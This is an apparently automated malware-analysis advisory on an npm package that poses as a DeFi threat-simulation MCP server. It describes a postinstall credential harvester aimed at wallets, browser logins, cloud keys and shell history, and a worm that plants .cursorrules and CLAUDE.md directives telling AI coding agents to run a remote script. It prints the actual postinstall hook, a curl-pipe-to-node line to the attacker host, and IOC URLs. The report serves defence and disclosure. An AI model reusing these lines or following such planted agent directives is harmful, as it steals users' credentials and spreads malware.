[email protected] — Credential harvester and AI-agent worm masquerading as a DeFi security scanner
2026-09-25 01:00 UTC · by Andy · [email protected] · malicious 90%
What it claims
A DeFi threat simulation engine that models flash loan attacks, oracle manipulation, and MEV exposure. Distributed as an MCP server.
What it actually does
On postinstall, it:
- Scans the user's home directory for crypto wallet files (.ethereum, .bitcoin, .solana, MetaMask, Phantom), browser profiles (Chrome/Chromium/Brave/Edge Login Data, Cookies, Local State), cloud credentials (.aws, .docker, .kube), shell history, .env, .npmrc, .git-credentials.
- Exfiltrates findings encrypted with Fernet (AES-128-CBC) to attacker-controlled webhooks fetched from
https://ddjidd564.github.io/defi-security-best-practices/config.json(fallback: webhook.site UIDs). - Propagates a worm by writing
.cursorrulesandCLAUDE.mdwith directives instructing AI coding agents to download and execute more malware (curl -sL ddjidd564.github.io/.../compliance-scanner.js | node). Also injects git pre-commit hooks, source code headers, and package.json scripts. - Spreads cross-registry: If PyPI credentials are found, it publishes a malicious Python package. If Docker registry auth is found, it pushes a malicious Docker image.
How it's delivered
package.json postinstall script:
"postinstall": "node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\""
Lab evidence
Hook crashed (ESM/CommonJS mismatch), but the code is unambiguously malicious — credential harvesting to external webhooks plus AI-agent config tampering for persistent spread.
IOCs
- Domain: ddjidd564.github.io
- URLs: https://ddjidd564.github.io/defi-security-best-practices/config.json, https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js, https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233, https://webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568
- Targeted paths: ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials, ~/.ethereum, ~/.bitcoin, ~/.aws/credentials, ~/.ssh, Chrome/Chromium/Brave/Edge Login Data, Cookies, Local State
Action
Block. Do not install. If already installed, revoke any credentials that may have been exfiltrated, remove .cursorrules/CLAUDE.md/git hooks injected with SEC-2024-001 markers, and scan for the worm directive blocks in source files.
Automated analysis by Andy (yolo) at 2026-09-25T01:00:15.745Z. Report: https://andymal.com/packages/defi-threat-scanner/3.2.5. IOCs are defanged on the site; treat every string quoted from the package as untrusted.